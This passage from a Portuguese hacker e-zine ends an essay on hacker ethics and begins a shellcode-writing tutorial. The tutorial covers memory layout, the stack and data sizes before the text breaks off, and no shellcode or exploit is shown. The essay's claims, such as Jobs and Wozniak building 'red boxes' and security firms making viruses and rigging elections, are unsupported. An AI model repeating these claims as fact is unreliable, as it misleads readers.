intuito aqui eh fazer voce pensar sobre eles usando seu proprio senso critico  e
buscando a verdade atras do fatos.Se pergunte sobre os porques, levante duvidas,
raciocine!  Meus  txts ganharam  a  abrangencia que  eu  desejava, mas  de  nada
adiantarah expandir os conhecimentos tecnicos se nao puder dar a conhecer alguns
pensamentos  'eticos'.Se esta  parte te  interessa recomendo  a voce  le-la com
bastante calma,  sendo critico  e procurando  ver o  que estah  por tras de cada
afirmacao! Se voce pensa igual ou diferente, nao importa! Eu
quero apenas que voce pense! Seja Critico!!

2.1. - A confusao dos Termos
-----------------------------

O que eh ser hacker afinal?? O que eh ser um fucador???
A midia, como em tudo, demonstra  ignorancia quanto a verdade, alienando mais  e
mais pessoas.A parte podre da comunidade de seguranca nao pensa em outra coisa a
nao ser 'sujar' a definicao ao maximo.E voce, sabe o que eh ser
um hacker???

A origem  do termo  hacker remonta  aos primordios  da revolucao tecnologica. Na
verdade, se for levar  ao peh da letra,  os hackers derivam dos  phreaks, que se
originaram nos primordios  da invencao do  Telefone.Mas no entanto,  o termo soh
veio se  popularizar depois  que os  phreaks comecaram  a se  difundir em  larga
escala, isso se deu no inicio da decada de 70, mais ou menos.A inspiracao  maior
no mundo 'phreak' deu inicio com john draper vulgo Capitao Crunch, ele descobriu
um metodo de fazer  ligacoes gratuitas usando um  apito que vinha numa  caixa de
cereais.A  popularizacao  desta  tecnica  levou  dois  jovens  inescrupulosos  a
automatizarem o processo, criando as  famosas RED BOX, esses dois  individuos se
chamam Steve Jobs e Steve  Wosniak(Ambos fundadores da APPLE).Desde entao  houve
um  crescimento  consideravel  das  tecnicas  e  meios  de  manipular  o sistema
Telefonico americano.Enquanto os phreaks cresciam em numero e conhecimentos,  no
MIT(Instituto Tecnologico  de Massachussets),  estudantes arrombaravam  salas de
informatica a noite para poderem  aprender mais sobre os carissimos  Sistemas de
Computadores.A  palavra hacker  em ingles  significa 'machado  de duas  pontas',
muito provavelmente eles  usavam isso para  quebrarem os cadeados,  ou o proprio
comportamento deles  se assemelhava  a isso.Eles  queriam obter  conhecimentos a
qualquer custo.O  conceito 'hacker'  expandiu, ou  seja, varias  pessoas queriam
dominar um conhecimento cada vez maior  sobre algo, nao importando os meios  que
usassem.'A busca pelo conhecimento eh uma atividade basica do ser humano',  logo
nao deve ser repelida.Durante  a decada de 80  muita coisa aconteceu no  cenario
hacker- phreak, levando  desde perseguicao, criacao  de leis rigorosas  ateh uma
maior compreensao  de algumas  entidades e  a criacao  de varias  'entidades' de
defesa dos ideais e interesse dos  hackers... O que chamo aqui de  entidade, nao
eh nada relacionado ao que conhecemos por entidade, eh mais alem, algumas  delas
eh fundamental um fucador conhecer, como a Eletronic Frountier  Foundation(EFF),
a 2600(o quartel general hacker), e etc.

Se voce for  buscar a verdade  bem no fundo  verah que quase  tudo relacionado a
informatica hoje  em dia  teve uma  colaboracao maior  de hackers.Internet,  PC,
Softwares Gratuitos,  enfim os  hackers se  expandiram em  todos os segmentos da
informatica aprimorando-os sempre.A relacao do hacker e do phreak eh mais  alem,
no  inicio  os phreaks  lutavam  contra as  grandes  companhias telefonicas,  as
grandes corporacoes e  os governos, nao  possuiam nacionalidade e  nao defendiam
uma  etnia,  eram  livres  e  os  unicos  'inimigos'  era  justamente  esses jah
citados.Invadiam sistemas telefonicos, ensinavam  truques para se fazer  ligacao
gratuita,  etc.. Os  hackers tambem  trilharam o  mesmo caminho  unido forcas  e
lutando pelos mesmos ideiais, desafiando  os mesmos inimigos e divulgando  o que
consideravam a sua maior bandeira: "A LIBERDADE DE INFORMACAO", isto culminou em
1984 com a criacao do projeto GNU, criado por um hacker.Desde jah fica  evidente
que  um  hacker   nao  trabalha  para   grandes  corporacoes  ou   empresas  sem
escrupulos(Microsoft,  Conectiva, Sun,  Apple, Intel  e etc)..  Sim, os  hackers
lutavam contra empresas deste tipo  e continuam lutando!! Mas eles(os  inimigos)
tem os meios de comunicacao, possuem os governos em suas maos, entao logo veio a
retaliacao,e  uma  verdadeira  caca  as  bruxas  ocorreu  no  Estados  Unidos em
1990/1991,batizada de Operacao SunDevil, muita gente inocente foi presa
e vidas foram acabadas.

No brasil, somente na decada de 90 veio a ocorrer uma maior divulgacao do  termo
hacker e da etica hacker, o zine  'Barata eletrica' de Denerval Cunha foi e  tem
sido quem mais expandiu  o que representa a  etica hacker e a  'cultura' pregada
pelo hacking.Este zine eh leitura obrigatoria para qualquer fucador etico!

Os termos hoje em  dia estao confusos, muita  gente prefere nao ser  considerado
como  hacker pois  pode ser  banalizado ou  mesmo prejudicado,  a ofensiva  dos
'inimigos'  foi  grande,  e  os  verdadeiros  hackers  tem  sofrido  na  pele  a
consequencia desta 'guerra'! Ainda ha  muito para ser feito, muita  gente possui
total ignorancia quanto aos termos, mas o que devemos sempre deixar claro eh que
hacker nao  eh cracker,  e que  a Comunidade  de Seguranca  nao eh, nunca foi, e
nunca vai ser  aliada dos hackers,  eles fazem parte  do sistema!!! Sabemos  que
existe gente seria na Seguranca, eh o que chamamos de 'parte boa' da  Seguranca,
no entando a maioria nao  o eh, eh o que  chamamos de 'BANDA PODRE!'. Um  hacker
nao muda home page ou destroi um  sistema, quem faz isso sao kiddies ou  lamers,
sejamos bem evidentes nisso!!! Mesmo  que chamem para questoes ideologicas,  nao
faz parte do  hacking qualquer ideologia  NACIONALISTA!! A Comunidade  hacker eh
uma soh, assim como as grandes corporacoes  o sao, ou voce acha que a  Microsoft
Brasil e melhor, mais legal, mais escrupulosa do que a Microsoft USA??

Quanto  aos crackers,  eles tem  levado vantagem  em tudo,  com o  termo hacker
derrubado, com hackers de verdade sendo perseguidos, esses crackers tem  vencido
a batalha..A comunidade de seguranca nunca foi competente o bastante, os hackers
ajudam, mas 'a banda podre' nao ve com bons olhos, termina os crackers se  dando
bem  e  os  hackers e  os  usuarios  normais saindo  prejudicados.  Agora  eu te
pergunto, a comunidade de seguranca ganha ou perde com os crackers??? Ao meu ver
eles ganham,  por isso,  ao meu  ver, Crackers  e Banda  Podre da  Comunidade de
Seguranca sao um soh!!!
Abra os olhos, a verdade tah procurando voce!!!

2.2. - A Comunidade de Seguranca e Voce
------------------------------------------

Temos que saber diferenciar o que estah por tras.No item anterior eu falei sobre
dois lados da Comunidade de Seguranca, a banda podre e a "parte boa" (parte  boa
entre aspas). Se voce eh um fucador experiente certamente sabe mais coisas sobre
isto do que  eu, mas falarei  um pouco do  que eu acho,  para que os  mais novos
possam levantar criticas.
Podemos dividir a comunidade de Seguranca em 4 grupos, vejamos abaixo:

* OS DESINFORMADOS
-------------------

Estes sao aqueles que nao  conhecem o que eh hacker,  nem o que eh cracker.  Nao
conhecem a historia da informatica, nao sabem a origem da Seguranca de  Sistemas
Informatizados, e sao 'moldados' pela  banda podre da comunidade de  seguranca e
pela midia.Na grande maioria sao estudantes universitarios ou recem formados que
partiram para  a Seguranca  porque eh  o que  mais dah  dinheiro hoje em dia, se
desse mais  dinheiro mexer  com outra  coisa, eles  estariam lah com certeza.Nao
possuem a  paixao pelo  que fazem  e odeiam  os hackers  puramente porque  foram
'ensinados' a odiarem. Esta eh a parte mais inofensiva que existe, e a unica que
ainda pode ser 'ganha' para a causa, ou seja, ainda podemos mudar a opniao deles
quanto ao termo hacker.Necessitam de ajuda, pois nao possuem a malicia, e nao
conhecem a capacidade de um cracker.

* OS MEDROSOS
--------------

Essa eh uma 'classe' esquisita da Comunidade de Seguranca.Sao pessoas que  sabem
diferenciar  os termos  crackers e  hackers, simpatizam  com as  ideologias dos
hackers, conseguem ver a beleza da etica, no entanto temem! Temem perderem  seus
empregos para hackers com maiores conhecimentos! Temem perderem seus empregos se
defenderem os  hackers em  alguma situacao!!Temem!!  Na maioria  sao pessoas com
bons  conhecimentos  tecnicos,  mas trabalhando  em  empresas  erradas! Costumam
ficarem quietos,  nao opinando  em quase  nada fora  do 'assunto tecnico'.Alguns
possuem uma vontade de libertar o  espirito hacker de dentro dele, mas  algo nao
permite, temem  morrerem de  fome por  defenderem a  causa hacker,  temem muitas
outras coisas, por isso sao considerados como os medrosos!!

* A BANDA PODRE
----------------

A banda  podre eh  bem ramificada.Na  grande maioria  sao altos  funcionarios de
grandes empresas(Microsoft, NAI,Norton, etc), que detonam o termo hacker  porque
os hackers sao  os unicos que  os denunciam.Sao esses  que se alegram  quando um
cracker consegue fazer algo grandioso  pois eles irao lucrar vendendo  mais seus
produtos e servicos.Defendem com unhas  e dentes os produtos que  comercializam,
mesmo chegando as  vezes a falarem  'loucuras' para poderem  enganar os que  nao
enxergam o que estah por tras dos seus interesses.Alguns fabricam virus, colocam
a culpa  nos hackers(hackers  nao publicam  virus) e  depois vendem  antitodos e
antivirus para combaterem a praga que eles mesmo criaram.Outras empresas se unem
a governos  e fraudam  o processo  elitoral para  que um determinado 'candidato'
venca para  depois assinar  um contrato  milionario com  a empresa.Essas pessoas
representam aquelas grandes  corporacoes que vimos  no item anterior,  e elas eh
quem devemos denunciar!

* A PARTE BOA
--------------

A parte boa eh representada por alguns membros(menos de 0,01%) da Comunidade  de
Seguranca que  acreditam nos  ideiais hackers,  divulgam o  sentido dos  termos,
ajudam hackers quando perseguidos, se  aliam a hackers para denunciar  problemas
com  a 'banda  podre' e  as empresas  representadas por  esta 'banda  podre', e
principalmente lutam pela seguranca por  usuarios comuns.Essa parte boa goza  de
um  prestigio  grande  na  Comunidade Hacker  e  sao  sempre  bem quistos.Alguns
abandonam  a Comunidade  de Seguranca  e passam  a fazer  frente na  Comunidade
Hacker,  outros  acreditam  que  estar na  Comunidade  de  Seguranca  serve como
estrategia para 'derrubar' as corporacoes inescrupulosas e a 'parte podre'.Esses
profissionais possuem o meu total respeito e consideracao.

Agora que voce sabe quem eh quem, abra os olhos para nao ser ludibriado.
Cuidado com 'as raposas vestidas de cordeiros'.Fique atento sempre!!
Seja Critico!

2.3. - Codigo Aberto x Codigo Fechado
--------------------------------------

Essa discussao  vem ganhando  ambito, principalmente  no que  se pode  chamar de
'guerra' entre Windows e Linux.O que voce acha mano, codigo fonte aberto eh mais
seguro  do que  fechado?? Para  um hacker  o que  eh melhor??  Irei expor  minha
opiniao sobre isso, analise voce mesmo e tire suas
conclusoes.

O codigo aberto  nada mais eh  do que a  exposicao total dos  codigos fontes que
serao usados por determinada  aplicacao ou programa.Essa filosofia  ganhou forca
apos a criacao do  projeto GNU que tornava  livre os softwares. Muitos  sistemas
adotam  esta  filosofia,  inclusive o  Sistema  Operacional  OPENBSD considerado
atualmente como o  sistema operacional mais  seguro que existe.Esse  exemplo por
sih soh jah mostra que o codigo fonte aberto eh algo bom para a seguranca de  um
Sistema  Operacional.A  guerra que  vem  sendo travada  no  momento eh  Linux  x
Windows, e nao  OpenBSD x Windows,  consegue entender?? A  Microsoft tem perdido
fatia no mercado para o Linux, entao ela precisa atacar o Linux de alguma  forma
e o alvo escolhido foi o conceito 'Codigo Fonte Aberto'.Para um hacker o que  eh
melhor,  aberto ou  fechado???E para  um cracker??  Por que  pessoas defendem  o
codigo fonte
fechado?? Respostas a essas perguntas seguem abaixo:

+ Para um  hacker, o que  eh melhor em  busca de 'LIBERDADE  DE INFORMACAO' e  a
seguranca dos usuarios comuns, eh o melhor para ele.No primeiro ponto, o  codigo
fonte aberto proporciona um maior  intercambio, maior troca de informacoes,  uma
evolucao maior no  aprendizado da informatica.Com  o codigo fonte  aberto varios
usuarios podem  opinar, melhorar  o programa,  apontar erros  e solucoes,  podem
'personalizar' o sistema.A seguranca tende a aumentar, pois muita gente  estarah
analisando os codigos, seja em busca de bugs ateh backdoors,para o usuario comum
isto eh lucro! Entao o codigo fonte aberto soh traz beneficios, logo, um  hacker
defende o aumento deste conceito, pois todos tem a ganhar, exceto os inimigos
dos hackers, que vimos anteriormente, pois eles sobrevivem no ocultismo.

+ Para um cracker  o software aberto eh  uma barreira.Torna a longo  prazo, mais
dificil dele penetrar nos sistemas, e a instalacao de backdoors e virus passa  a
ser infinitamente  mais visivel  que num  codigo fechado.A  troca de informacoes
prejudica a  acao de  crackers, pois  uma tecnica  que ele  domina hoje  eh mais
rapidamente combatida com a troca de informacoes, jah que a solucao nao  estarah
somente nas maos de 1 unica empresa.Nao se iluda amigo, os crackers hoje em  dia
possuem conhecimentos maiores que a atual Comunidade de Seguranca!

+ Mas vemos pessoas defenderem o uso de softwares com codigo fonte fechado!  Nao
podemos generalizar, mas nesse ponto, ao meu ver, as pessoas que defendem o  uso
de software de codigo fechado podem ser divididas em dois
grupos.Sao eles:

* Os Desinformados -> Falta  conhecimentos sobre tecnicas usadas por  crackers e
nao conhecem nem mesmo as estatisticas divulgadas de invasoes.Acham que crackers
nao possuem conhecimentos superiores aos deles e creem que uma forma de barrar a
acao dos crackers  eh justamente limitar  a 'liberdade de  informacao'.Chegam ao
cumulo de  acharem que  crackers aprendem  atraves de  mail list  como bugtraq!!
Crackers e Hackers estao ha  alguns passos do que eles  consideram 'conhecimento
tecnico  avancado'  de  pratica de  seguranca.A  grande  maioria dessas  pessoas
obedecem ao ego e por isso possuem sua parte de culpa 'no crescimento dos crimes
de informatica'.

*  Os  Inescrupulosos  ->  Esses  sao  os  que  defendem  pensando  em interesse
proprio.Nao se importa  com o usuario  comum e defendem  o codigo fonte  fechado
porque  trabalham  para empresas  que  usam codigo  fonte  fechado! Sao  pessoas
inescrupulosas, pois conhecem a verdade, mas defendem a mentira unicamente  para
obterem vantagens pessoais.Pregam a obscuridade em tudo, ou seja, jamais ensinam
o que aprenderam(olha que na maioria das vezes eles aprendem com hackers!).Temem
que  um  maior  crescimento  da conciencia  de  software  livre  e liberdade  de
informacao possam deixa-los desempregados.Sao pessoas capazes de fazerem  coisas
'monstruosas' para  defenderem seus  lucros, inclusive  injetarem backdoors  nos
seus produtos a mando de um governo qualquer(vide chave NSA).

Eh bastante comum  em mail lists  aparecem mensagens de  pessoas que defendem  o
codigo fonte fechado.Muita discussao rola sobre isso, mas amigo, o pessoal  mais
velho jah conhece muito bem essas figuras.Nao perca seu tempo discutindo em mail
lists,  o  que eu  tenho  visto ultimamente,  eh  um monte  de  gente defendendo
empresas sem escrupulos(Microsoft,SUN, Red Hat,  Conectiva, etc, etc e etc)  por
interesses proprios.Nao se preocupe, pois qualquer um com conhecimentos  basicos
de informatica sabe que essas empresas nao sao boas na parte tecnica e  pessimas
na parte etica.E alem de tudo, a verdade
eh uma soh e ela se manifesta no tempo apropriado!

2.4. - O Lucro com o Hacking
-----------------------------

Livros, revistas, jornais, filmes,patrocinios  em home pages e  etc.. Atualmente
falar  sobre hackers  eh alvo  rentavel, existem  dezenas de  livros que  vendem
'tecnicas milagrosas' para se invadir  redes como a do pentagono.  Existem sites
que esbanjam o nome 'HACKER' em atividades criminosas em busca de obter  retorno
de investimento.Membros da parte podre da comunidade de seguranca dando cursos e
mais cursos visando nada mais nada menos  do que formulas de como se livrar  dos
hackers.Jornalistas  inescrupulosos atras  de 'ibope'  e ascensao  meteorica na
carreira entrevistando criminosos e criancas que se dizem hackers.Essas  pessoas
sao despreziveis, sua essencia
eh desprezivel.

O  hacking  eh  maior do  que  tudo  isto, a  beleza  do  hacking nao  pode  ser
comercializada, pois pouca gente conseguiria visualizar a leveza e grandiosidade
que envolve a etica  hacker.As pessoas hoje em  dia buscam lucro em  tudo que se
pode imaginar, e o hacking nao eh diferente. Quanto mais catastrofico o cenario,
melhor  para essas  pessoas, no  entanto, o  hacking tem  superado isto  tudo e
permanece vivo apos todas essas sucessivas 'difamacoes'.Temos pessoas ainda hoje
em dia  que contemplam  a verdade  e buscam  viver a  verdade.Nenhuma riqueza no
mundo eh capaz de alegrar o coracao de um fucador como o hacking etico  consegue
fazer. Mesmo com toda  essa 'sujeira' ainda existe  uma esperanca e eh  por isso
que escrevo.O hacking puro eh capaz de mudar mentalidades e fazer transparecer a
verdade, verdade estah que estah oculta aos olhos da maioria das pessoas.A etica
hacker eh capaz de nos ensinar valores morais que toda a sociedade se  alegraria
em ver!

O  hacker  nao  eh  nacionalista,ele  busca  a  paz,  nao  eh  ganancioso  e nem
capitalista,  ele eh  democratico, eh  sincero, eh  verdadeiro.Um hacker  eh um
sonhador,  eh  um  revolucionario,  eh  um  co-irmao  de  todos  os  oprimidos e
discriminados.Um hacker  eh justo  e fiel,  se apega  a seus  principios e morre
defendendo eles.A etica hacker estah alem  de uma pessoa soh, estah alem  de uma
comunidade soh ou de um pensamento soh! A essencia do hacker eh a liberdade!
Liberdade esta verdadeira, nao a pregada por governos.

Um hacker eh um guerreiro, um guerreiro em fase de extincao!

Este eh  o meu  pensamento sobre  esses assuntos.Tem  muito mais  coisas para se
discutir.A etica hacker nao eh um pensamento de um soh homem.Existem bons textos
que divulgam  'a etica  hacker em  sua essencia',  recomendo a  leitura do  zine
Barata Eletrica,  lah voce  poderah encontrar  informacoes valiosissimas!  Estou
aberto a discussao e a receber opinioes sobre esses assuntos, meu e-mail estah a
disposicao. Seja critico nas  coisas que eu escrevi,  pergunte a sih mesmo  se o
que escrevi  eh verdade,  se essas  coisas sao  assim mesmo,  busque voce  mesmo
formar  a  sua  opiniao  a respeito  desses  assuntos,  nao  deixe nunca  alguem
"escravizar a sua mente".As dificuldades da vida sao muitas, e pessoas  mudam...
Mas  os  feitos  permanecem,  e  se  conseguir  enxergar  os  feitos,  verah   a
grandiosidade ou a monstruosidade
das pessoas!

HACK THE PLANET!!!!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 13 ]=-=[ Básico Shell Code ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

########################################################################
######################## UNSEKURITY TEAM ###############################
########################################################################

IP_FIX: Atual Clube dos Mercenários, http://cdm.frontthescene.com.br

http://unsekurity.virtualave.net/

Desenvolvido por Nash Leon vulgo coracaodeleao.
Thanks Ramona,Magic Kiss e Unsekurity Team.
nashleon@yahoo.com.br

Aviso: Nao nos responsabilizamos pelo mau uso dos programas e dados aqui
       fornecidos, bem como a utilizacao desse texto p/ fins maliciosos,
       este texto possui somente propositos educacionais.

		     ---------------------------------
		    |	TUTORIAL BASICO DE ESCRITA    |
		    |	       DE SHELLCODES	      |
		     ---------------------------------

------------------------------ INDICE -------------------------------
1.INTRODUCAO
2.MODELO USUAL DE MEMORIA
  2.1 A Regiao do Stack(Pilha)
3.TERMOS NECESSARIOS DO JARGAO
4.CALCULOS ENVOLVENDO AS NOTACOES (hexa,decimal e binario)
  4.1 Sistemas Decimal e Binario
  4.2 Sistema Hexadecimal
5.REGISTRADORES
  5.1 Registradores Gerais
  5.2 Registradores de Segmento
  5.3 Registradores de Indexacao do Stack
  5.4 Outros Registradores muito Usados
6.LISTA DE COMANDOS
  6.1 Instrucoes de Transferencia
  6.2 Instrucoes Aritmeticas
  6.3 Instrucoes de Comparacao
  6.4 Instrucoes de Salto
  6.5 Instrucoes Logicas
7.SHELLCODES
  7.1 Shellcode /bin/sh
  7.2 Shellcode para setuid(0)
  7.3 Shellcode para quebrar chroot()
  7.4 Dividas para o proximo tutorial
8.TERMINANDO
  8.1 Diferencas entre a sintaxe INTEL & AT&T
  8.2 Links e Referencias
  8.3 Consideracoes Finais
----------------------------------------------------------------------

-------------
1. INTRODUCAO|
-------------

Bem amigo, estou de novo aqui, tentando disponibilizar alguma coisa  relacionada
ao mundo dos fucadores(fussadores).A recepcao  ao txt anterior foi muito  boa, e
os creditos se devem  a uniao que vem  sendo apresentada pelo grupo  "Unsekurity
Team", entao soh cabe a mim, dar continuidade aos trabalhos, sendo que em  breve
estaremos disponibilizando  projetos desenvolvidos  por nos  mesmos, visando  um
maior intercambio entre os membros e a comunidade que mexe com "inseguranca"  de
um modo geral. Esse tutorial nao  tem o intuito de se aprofundar  neste assunto,
somente dar o ponta-peh inicial,  virao outros tutoriais em breve,  visando mais
aprofundamente e aperfeicoamente desta materia(Escrita de shellcodes).A  questao
do tempo,  nosso inimigo,  tem sido  levada em  conta, por  isso devemos  ir com
calma.Logo em  breve, estaremos  avancando juntos,  na divulgacao  de Teorias  e
Praticas mais abrangentes, e divulgando mais materiais interessantes no que  diz
respeito a conhecimentos  na area de  programacao voltada a  fucadores.O intuito
nao eh, nem jamais serah dar receitinhas de bolo, ou mesmo, disponibilizar lixo.
Tendo em vista um  publico alvo de Newbies,  digo isso nao por  menosprezo, como
tem gente  falando por  aih, pois  antes de  tudo eu  tambem sou um Newbie, vivo
pesquisando e buscando  informacoes.Voce deve estar  se perguntando, mas  newbie
sao  novatos,   begginers,  sem   experiencia!!!Quem  disse   que  eu   nao  sou
isso??:)...Hoje  em dia  eh preferivel  mil vezes  ser conhecido  e chamado  de
"lamer"  do  que qualquer  outra  coisa. Tendo  em  vista que  a  midia diz  que
"hackers"  destruiram  isso   e  aquilo,  que   mudaram  essa  ou   aquela  home
page!!Prefiro  ser  comparado  com  lamer  do  que  com  isso!!  Mas,  bola para
frente,iremos escrever shellcodes  baseados em assembly,  Como o escritor  desse
texto nunca pisou numa faculdade  de computacao ou num curso  de programacao,nao
se pode  esperar muito  dele nesse  quesito, por  isso irmao,rale!!pense!  corra
atras!!Sabemos que fucadores sao praticos, isso os coloca numa classe onde de um
lado,os programadores experientes que mexem com softs complexos dizem: "eles nao
sabem programar"   e do  outro profissionais  da seguranca  que dizem: "Eles sao
bons programadores", e voce no meio disso  tudo sem saber se sabe das coisas  ou
nao.Vai minha opiniao,fucadores sao praticos!!programam o essencial p/ se  obter
um determinado objetivo!! Desse modo a seguranca e os programadores  experientes
estao  certo,  fucadores nao  mexem  com metodos  complexos  de algoritmos,  mas
alcancam com o que sabem o alvo que estipularam.Sendo um bom ou mau  programador
voce pode  sim um  dia ser  um otimo  fucador.Tem gente  que diz  que eh dificil
escrever um  exploit!!Acho que  a maioria  sabe que  a coisa  varia, mas fazer a
carcaca, e entender o por que da carcaca, creio que todos
que leram a phrack 49 jah sabem!!:)

Vamos deixar de conversa fiada e vamos caminhando.Os exemplos akih serao  feitos
todos em  plataforma linux,  usando o  compilador gcc  mesmo. Lembrando que esse
texto eh voltado p/ shellcodes em c.Usaremos  o debugador gdb da gnu que vem  na
maioria dos  linuxes descentes.  A sintaxe   serah a  AT&T(para unix),sendo  que
terah  no  final  uma  breve  explicacao   sobre  ela,p/  usuarios  de  sistemas
INTEL(dos) verem como funciona a coisa. Vamos partir do inicio que voce jah  leu
ou sabe alguma coisa de assembly,que conhece o porque de se usar essa linguagem,
e essas coisas  toda de se  programar com assembly,porque  se pode fazer  isso e
aquilo. Os exemplos praticos aqui descrito sao simples,mas a medida que a  coisa
for  ficando cada  vez mais  dificil, iremos  recapitular,de modo  que antes  de
comecarmos   eu  jah   aviso:  Paciencia!!Tenha   muita  Paciencia!!   Estaremos
trabalhando com baixo nivel,  soh quem conhece sabe  o poder que essa  linguagem
possui.Pense  que,   os  melhores   virus,os  melhores   exploits,  os  melhores
shellcodes,os melhores ??????? foram feitos  em assembly por pessoas que  um dia
sabiam menos do que voce amigo.Como eu nao pretendo ir fundo em assembly, cabe a
voce  pesquisar  mais  sobre  essa  linguagem,  caso  necessite  mesmo.Outro pre
-requisito eh saber  programar em C,  hoje em dia  o fucador necessita  ir fundo
nessa linguagem.
Bom, daremos inicio logo a esta jornada.Boa Sorte Fera!!!

---------------------------
2. MODELO USUAL DE MEMORIA |
---------------------------

O  modelo usual  de memoria  difere de  sistema para  sistema.Em Linux/i386  ela
possui modelo flat de 32 bit.Um  programa pode ser dividido em secoes.As  secoes
sao .text para seu codigo, .data para seus dados, .bss para dados indefinidos.Os
programas devem ter no minimo a secao .text.
Um esquema para visualizacao disso seria:

			-------------------
		       |       .DATA       |
		       |      (Stack)	   |
			-------------------
		       |       .BSS	   |
		       |      (Heap)       |
			-------------------
		       |       .TEXT       |
			-------------------

Como  vimos acima,  eu coloquei  as respectivas  regioes onde  ocorrem oveflows
relacionados.Stack overflows ocorrem na regiao .data, heap tambem pode ser usado
p/  sobrescrever  essa  regiao  (.data),   mas  eh  usualmente  mais  usado   p/
sobrescrever a regiao .bss.Num outro txt, veremos como fazer overflows, mas  por
enquanto, se atenha soh ao shellcode(codigo que se executa via exploits) que se
localizarao na regiao Stack.

2.1 - A REGIAO DO STACK (PILHA)
---------------------------------

A  regiao   conhecida  como   STACK  ou   pilha,  eh   responsavel  por  receber
dados(argumentos)  e  passa-los  p/   as  funcoes.Essa  regiao  possui   tamanho
relativo(muda quase sempre).O nome que se dah a essa regiao(STACK) eh porque ela
pode ser comparada a uma pilha, onde voce vai enchendo ela de dados, soh que ela
possui uma  particularidade.Essa particularidade  consiste em:  O ultimo  dado a
entrar serah  o primeiro  a sair,  chamamos isso  de LIFO  - last  in, first out
(ultimo a  entrar,primeiro a  sair). Na  medida em  que eh  usado, o  Stack ou a
pilha,chamarei de Stack, cresce p/  baixo, sendo assim, a quantidade  de memoria
necessaria  eh  determinada  pela  maneira  como  o  programa  foi projetado.Por
exemplo, um  programa com  muitas funcoes  recursivas utiliza  mais memoria   no
Stack do  que um  programa sem  funcoes recursivas,  justamente porque variaveis
locais  sao  armazenadas  no  Stack.A parte  necessaria  para  o  programa e  as
variaveis  globais,  eh  determinada   durante  a  execucao  do   programa.  Uma
pilha(Stack) eh o contrario  de uma fila,porque usa  o acesso "ultimo a  entrar,
primeiro a sair", denominado LIFO.Para  visualizar um Stack, basta imaginar  uma
pilha de pratos.O prato da  base do Stack eh o  ultimo a ser usado e  o prato do
topo,  o  primeiro.Stacks  sao  geralmente  utilizados  em  softwares   basicos,
incluindo compiladores e interpretadores.Geralmente o C usa o Stack quando passa
parametros(argumentos)  as  funcoes.Dois  comandos em  assembly  sao  usado para
enviar e retirar dados do Stack, sao eles push e pop, respectivamente.

Veremos abaixo o esquema de um Stack em acao:
         Acao                   Conteudo do Stack
        ------                ---------------------

       push(A)                          A
       push(B)                          A  B
       push(C)                          A  B  C
       pop()  /* retira o ultimo */     A  B
       push(N)                          A  B  N
       pop()                            A  B
       pop()                            A
       pop()                            /* vazio */

Vemos acima o esquema da LIFO - ultimo a entrar,primeiro a sair. Isso eh mais do
que o suficiente, espero que tenha ficado claro as coisas para voce,amigo!!

--------------------------------
3. TERMOS NECESSARIOS NO JARGAO |
--------------------------------

Se voce manja de assembly, JMP 7.Se nao, entao isto eh util para voce.

Iniciaremos aprendendo um pouco sobre alguns termos no jargao da informatica que
serao muito uteis para nosso aprendizado,comecaremos do mais simples:

1 BIT:		|0|

Simplesmente o menor dado que existe.O computador entende em duas condicoes um 1
ou um 0.
Exemplo: |00000001| = 1 ; |00000010| = 2;

1 NIBBLE:	|0000|

1 NIBBLE equivale a 4 BITs, e eh metade de um BYTE.Se voce notar, verah que  ele
possui um valor  maximo de 15(|1111|).  Numeros em hexadecimais  sao baseados no
NIBBLE, possuem tambem  um valor maximo  de 15, que  eh representado pela  letra
F.Os digitos em HEXADECIMAL seguem a seguinte ordem:

"0123456789ABCDEF"

A notacao  padrao para  numeros em  HEXADECIMAL eh  zero seguido  pelo numero em
hexadecimal, seguido pela letra "h" indicando que estah em hexa.
Exemplo: "0FFh" = 255 em decimal.

Como vamos mecher com compilador  C, geralmente usaremos a notacao  seguinte: Um
zero seguido de um x e em seguida o numero em hexadecimal.
0xff = 255 em decimal.

Um exemplo pratico para vermos isso usando C, seria:

#include
main(){
printf("O numero 255 em hexadecimal eh 0x%x \n",255);
}

Como podemos ver esse  0x antes do numero  propriamente dito em hexa  eh somente
por padronizacao,  e adotaremos  ele no  decorrer desse  tutorial. Veremos agora
algumas coisas sobre BYTE.

1 BYTE:		|00000000|
2 NIBBLES	   %al
8 BITS

Como podemos ver,  1 BYTE eh  diferente de 1  BIT,muita gente costuma  confundir
isto.Um  BYTE possui  um valor  maximo de  0xFF (  = 255  em decimal).  Um BYTE
equivale a 2 NIBBLES, entao  sua representacao hexadecimal eh simplesmente  dois
digitos hexa  em uma  fila. Exemplo:  0x14, 0x20,  0xAE, 0xff,  etc. Esse  "%al"
descrito acima, representa um tipo de registrador de tamanho de 1 BYTE, no caso,
esse registrador eh o Acumulador Low(Acumulador Baixo).Estamos desde jah  usando
a sintaxe AT&T, se voce estah  acostumado com a sintaxe INTEL, leia  mais abaixo
as diferencas.Mais lah na frente voce verah  o que significa esse "al".  Veremos
agora outro termo  muito conhecido do  jargao, a WORD,  alguns preferem traduzir
por PALAVRA, mas ficarei com a forma original, como poucos traduzem NIBBLE,  nao
traduzirei nenhum desses termos p/ que voce possa jah ir se acostumando com eles
na forma original.

1 WORD:		|0000000000000000|
2 BYTEs           %ah     %al
4 NIBBLEs             %ax
16 BITs

Vemos que nesse  termo tambem nao  ha muito segredo,  1 WORD (%ax)  equivale a 2
BYTEs (%ah + %al), 4 NIBBLES, logo eh representado com 4 digitos em hexadecimal.
Este eh o tamanho dos registradores  de 16 bits em sistemas 80x86.Veremos  agora
um DWORD ou dupla WORD.

1 DWORD:
2 WORDs:	|00000000000000000000000000000000|
4 BYTEs:			    %ah	    %al
8 NIBBLES:				%ax
32 BITs:			%eax

Uma DWORD equivale a 2 WORDs,  tambem possui o nome DOUBLE-WORD.Possui um  valor
maximo  de  0xFFFFFFFF,  8   NIBBLES("F"),  que  equivale  a   4,294,967,295  em
decimal.Pequeno hein!! Como vimos, linux eh 32bits, usaremos muito essa  notacao
de  32  bits que  serah  explicada mais  abaixo.Mas  saiba que  o  "e" antes  do
registrador( ex: %eax) indica que  o registrador eh  extendido.

------------------------------------------------------------
4. CALCULOS ENVOLVENDO AS NOTACOES (hexa, decimal e binaria)|
------------------------------------------------------------

